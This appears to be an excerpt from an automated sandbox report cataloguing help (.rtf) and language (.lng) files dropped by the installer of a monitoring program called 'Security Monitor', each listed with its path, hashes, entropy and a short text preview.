MD5:	B7BE54FA07192D11B0624600C99D449E
SHA1:	372509E74C98F5BAE5A50088B4AA1B18711C834F
SHA-256:	0F599243F6282C72AAC90EEF278B4F7BD5B78161508E494ABAC24E719702DDDB
SHA-512:	20C131AE058B058F60D97E21D7E49BAB6FEC975229AFF7302F6559975CEA91F81130F8D1C15E7200A53A61AFB935FE7B3D608838AA0190A42D09D02C168CFE1C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq0\fcharset128 Calibri;}{\f6\froman\fprq2\fcharset128 Arial;}{\f7\froman\fprq0\fcharset128 Arial;}{\f8\froman\fprq2\fcharset128 Calibri;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Times New Roman;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red255\green0\blue0;\red0\green32\blue96;\red35\green0\blue220;\red0\green69\blue134;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang1040 Pr

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7884
Entropy (8bit):	4.965317939103163
Encrypted:	false
SSDEEP:	192:zersYRcg17pzo2uz1FwLcxwSwbzUPhjNAqecUAySMnuturWGi:ZYf7doz1FwLcxwSwnUPhxAqecUAyLuIA
MD5:	83F331C3191915043D3C1F96D04AD2AA
SHA1:	1F5A281457AD229178ADFE68E6ED3C407DD15BA5
SHA-256:	864E70E0CBF1CBB5EF7B65EC5A90D617D299A0C896E17EA6C973BF5D0F44ADA0
SHA-512:	C047F469B1A5BF82D88443D33B1B26AA30B4CB1E5C8A515119B5D62B3D98C4761830761D0813994DAA9BDE86BB7F73ABF47ADDE25A74D6FCEA05D5F0E0E779B6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\froman\fprq2\fcharset128 Times New Roman;}{\f8\froman\fprq0\fcharset128 Times New Roman;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq2\fcharset128 Arial;}{\f13\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af9\dbch\af10\afs28\loch\f4\fs28 Intestazione;}.{\s16\sba

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10281
Entropy (8bit):	4.953685836066729
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9S:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6Z
MD5:	8D669B205AF7D1401C340D474FADE116
SHA1:	C61F519EF768F519E93F456D61FCEFE93EF1A058
SHA-256:	2B01786D3BA405BAA36920EF092701AF28CEA08F56507D4DE9717D47474C3B65
SHA-512:	0697175789BE81C29F0FBB5DD815FB46B553A6D241D8936C0E29F95D23651A2B730A893B98C90F6F3494B93FF0144F05DE95DB24D089EC01084C0FC8E36B3F70
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	9031
Entropy (8bit):	4.942487008032181
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9v:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6Q
MD5:	140A646744F5CA2B77DC3CCAB81BE3E9
SHA1:	57D15787E167C9284D0A57DE074749A8A10D6267
SHA-256:	FACA864E826FC4333E1C6D8726C97446A824856214E302B154757A0071BB0666
SHA-512:	F00406EA7C8EDA722707892A86C72A1331F1DEB007A78F34CC27A3B6175D3737AF9DA542F926313644B1CF0D8BAE087529196DBEEC4C7AE6EA3BCD5CE42D0F0F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10229
Entropy (8bit):	4.949701462728225
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9z:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6o
MD5:	328B6D1A72880E42399A6A9FAAE89707
SHA1:	B90F232CBADDD083D3E72EED57B362DBB5BB6B89
SHA-256:	731252A5DD9F5F1D6BAF95F06B86795064735EF2EDB2A7B0A0400535B28FB1C2
SHA-512:	70D96DB14DF3EA083AF7512998DBD565CD5DDEFDA0CB61A3378B9563642CB5FACD4D80A70763A454BE7B7BF4AA28A60C9B31AF7916066C9E56C5DB1A6F3D93D8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40044
Entropy (8bit):	5.023249387110861
Encrypted:	false
SSDEEP:	768:2rF4DO6xByF3LSVj1BgpGk1WhhIHRYRv0lsSTz3BAbZ/6A9u:2raDlZIA9u
MD5:	994EC92B482BB93D1038B2F931B60AA4
SHA1:	130934CF53D1215C4955232421AB44C7CCD1F95B
SHA-256:	9A48D1986A44E9021CE072DE9A9D542357048ABBE6807E4CA151661708969D3C
SHA-512:	5F2424B1B38FC0939FDCF6C29A72067174CB49FC4F97C6CE284570984047B4D5CFBDBB84D63F619DF24B8EAF070FAC3EE71858CD7D9536F5C7920A0AACA895E1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt Times New Roman};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}{\f315\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}@WenQuanYi Micro Hei;}..{\f316\fbidi \froman\fcharset128\fprq2{\*\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\japan.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	20198
Entropy (8bit):	5.546409615191028
Encrypted:	false
SSDEEP:	384:UZbTxZJZoqbCXEgYNOZFnXzLlWQIrNacguCX:UBsFXz5W1NaOCX
MD5:	CBEC3F081899B6B55B280D8F3DD4B3D2
SHA1:	F340F12DD49A6F6D2E20999788430A6951E7950B
SHA-256:	95C2CF8B3687D4EE57D51E982684660264A443D0AE516F6144728AC0C77FFCE4
SHA-512:	F4C7027A5BEDBC2F6E44DA52F59B35FAC8A3657DB9796F9B8BE4B660D25083544597ED525EEADD2B9373325E3E6FD83BD9736BAA8E50187F5F8CCFF989D6A140
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="...."..tbStartHint=".........."..tbStop="...."..tbStopHint=".........."..tbFind="...."..tbFindHint="........."..tbSetting=".."..tbSettingHint="........"..tbAbout="...."..tbAboutHint=".... /...."..tbHomePage="......"..tbHomePageHint="................"..tbToday=".."..tbTodayHint="........"..tbHide=".."..tbHideHint="....... (..................)"..tbMinimize="....."..tbMinimizeHint="........."..tbExit=".."..tbExitHint=".........."..gbLog=

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\korean.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	17281
Entropy (8bit):	5.761139641515786
Encrypted:	false
SSDEEP:	384:fA4WN9lOQy166uXz7tw7ROcW70cfgjqiK3xuaMV4Q:fAfy1LuntiROcWLNuaMVt
MD5:	BAF8BBC333EA4877FF98E6EC0437E18F
SHA1:	43FE338508BA6B1E59B5B0D21A641DEB4F887F82
SHA-256:	32CAC64ABA0B7BEC0C48D76CE6D6C3695E241173CAD408C4F2F220CB5AE6A87B
SHA-512:	5E2ED8A0DF57200E7FD2FF5F1F21041A3800AE92C66B550B91116D0E50685C3602467C738601D071049B1D3E74ED92DB2DAE5CE6D33F9776F8C2F62AA2E36C1E
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart=".."..tbStartHint=".. .."..tbStop=".."..tbStopHint=".. ...."..tbFind=".."..tbFindHint=".. .. .."..tbSetting=".."..tbSettingHint=".... .."..tbAbout=".."..tbAboutHint=".. / .. .."..tbHomePage="...."..tbHomePageHint=".... ..... .."..tbToday=".."..tbTodayHint=".. ... .."..tbHide=".."..tbHideHint="... .. (... .... ... .. ..)"..tbMinimize="..."..tbMinimizeHint=".... ..."..tbExit=".."..tbExitHint=".... .. .."..gbLog="... .."..tCurrLogSize=".. .. (Mb)"..tCurrScrSize=".... .. (Mb)"..tCurrSnpSize=".. .

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19350
Entropy (8bit):	4.977328299832863
Encrypted:	false
SSDEEP:	192:UfZj6oFtyWJJJuou35vzX6FcNnAy9+1C9ou8drw+MjKcEdQAi2jC+WUH:UfZj6oFtyWXRybX6Ad4C9q+pEdbvXx
MD5:	05104FA93BC4180DCD6752F77382F263
SHA1:	2A83710D4B63BF666D681D3F5E9C21324EB2581C
SHA-256:	A2150D0BBC660122C1C183FCA420CFAAE7539956F20BA135DEC4655B3B212A6E
SHA-512:	54ACDEAB94D389256C90FFB31934AE0182D7CB4F644CA671EE5F9599697357244B7F2F9CEA33D3CBE70463615389BF02E148818F99E9513DAF9A4D44B05913CD
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="In.cio"..tbStartHint="Habilitar registro"..tbStop="Parar"..tbStopHint="Desabilitar registro"..tbFind="Buscar"..tbFindHint="Procurar por informa..o de registro"..tbSetting="Configura..es"..tbSettingHint=" Configura..es de programa"..tbAbout="Sobre"..tbAboutHint="Sobre / informa..es de registro"..tbHomePage="P.gina Inicial"..tbHomePageHint="Ir para a P.gina Inicial do Programa"..tbToday="Hoje"..tbTodayHint="Ir para o registro de hoje"..tbHide="Ocultar"..tbHideHint="Modo Furtivo (nenhum .cone na Bandeja do Sistema)"..tbMinimize="Minimizar"..tbMinimizeHint="Minimizar Bandeja"..tbExit="Sair"..tbExitHint="Sair e parar o registro"..gbLog="Registro de Eventos"..tCurrLogSize="Tamanho do Log - Registro (Mb)"..tCurrScrSize=

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47337
Entropy (8bit):	5.026858098463381
Encrypted:	false
SSDEEP:	768:xaOfIRjZyPCtqICnfLBOHjiqlO8DTO+6X9MsHEW71vUGF87etnC+zc7R+ezr21gQ:xapnVMNkfS
MD5:	F4E08AB548997A7569D407BF6945FF93
SHA1:	374C962B0AD68A101B3DAED59995A904FD2366DF
SHA-256:	5F43BA173258F401DEBA2C385FC136464F11F0BF9C9122D5CB1EDDBBA356D24F
SHA-512:	9F6F81663CCC54ED4B6E57770247EBDE16327C46ACFE14EF01BC3CF1172D9647AFDBED40FA59115DD41BA746428368A34C4307AA4D7B0093C88D86F8C4BAA982
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40154
Entropy (8bit):	5.0200796695222865
Encrypted:	false
SSDEEP:	768:xoOfYRjCjOcPI0QhhiLVjLqPQcCTjwC9UqUkVuss8HD43p8ZHHuJf5:xobLUntNkf5
MD5:	8360940E8A2388A3DE31148F9ED5DCBF
SHA1:	6B44DF438877025970E59C226D3F3D347CCDC264
SHA-256:	AE905D395961C89647DF96F870FB8BFB199D72FF40BD62C6B95413C06CC03927
SHA-512:	1E58457C3359EEED8C187A5F60C09D6CFEAA3A995BE0FD3F22690A02383DF9DEFE5B60EFA1BF8B4FC0975B17683629292D3118DF670C4CBF1DF3141B73D4ACF5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 0202060305040502030

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	41900
Entropy (8bit):	5.016535633453485
Encrypted:	false
SSDEEP:	768:xoOfYRj7jOcPI0QhhiLV6qiTqP7Mi6uxPwjmkoASoGpngl4ZbbsVj72Q/za1CkCI:xobqUncV/QNkf8
MD5:	4610A71940E165CB27249C3133800D76
SHA1:	395941C9ECEE674429A1108075F9DD0A241CF28B
SHA-256:	AAE092EC9F04F37A0059D595A581A9818DB18A4247B95F237E20EED5571BC843
SHA-512:	D297B3B4AEA83E3107A0C799A238C40060BBF7247DEFEF0E179A2F61ADF06442BFC90577C705CAB0D3D2D0D12BD3C86F56C0B5ED971087C47A1973B54853DE32
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 0202060305040502030

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38831
Entropy (8bit):	5.022754170432963
Encrypted:	false
SSDEEP:	768:wMF2weYJK4J7bIWIRV9OOVQjwQ49PomsZ/HuJct9:wM3wJF4Zko9
MD5:	01A4A15CD5BE8B0E0E0B34200D995311
SHA1:	D30F6F8219B9B3E91F9D1D0C5283F94A6CF0F124
SHA-256:	D8A325D699C34E761833F16416EEBAAB43AA66454D08B7ECC40B4E5B89C1DF80
SHA-512:	7C968B597067F2E0D0645219A96284C9868298F184FBB479CE214E7F997C353817F079C40D8BC7F79AAAAC42AAF216D33ACEC6407F1B24E60DBA4876426A734F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68811
Entropy (8bit):	5.0062740217102695
Encrypted:	false
SSDEEP:	768:qMF2weRlqEW0TgegJ9Vte5iMSf3TDcbIWIRV9hMJu8WjbvH/o2ZuTCHF3wZxyiQg:qMChO5Nkf5
MD5:	9904281F0A850031B5DC777E69ACE68A
SHA1:	1B630CE1A72C6F2A1CB9C8B7A1FC81C2FD2ED3F0
SHA-256:	5888B749E1FC255BF39896EABE4B24B461BB4904549B1050AE8AE72296B72F11
SHA-512:	22C5E7E021B2428225E1595EBF628C83A97BCB76F7D52DD330F72F232E42B9BDAFCDB92A3B858909399700AC1A6FAED2A5A5138B1D66258937698D1684701905
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-0C85I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44111
Entropy (8bit):	5.034804043043812
Encrypted:	false
SSDEEP:	768:jaOfIRlU4LgJAqxAUZa25iMSf3TaCkqooYidqm4eEHEvsEJ5sCXSIKEjZHHuJfM:jap7NkfM
MD5:	D6C4CE3A479398A0C89448CF3D344268
SHA1:	03399F4D355A631C8504B35AA82238E444D2A75E
SHA-256:	56DA26981FD5603C5BB388D63B900EF90B42234F9FA6EA48BC7650BC609CC187
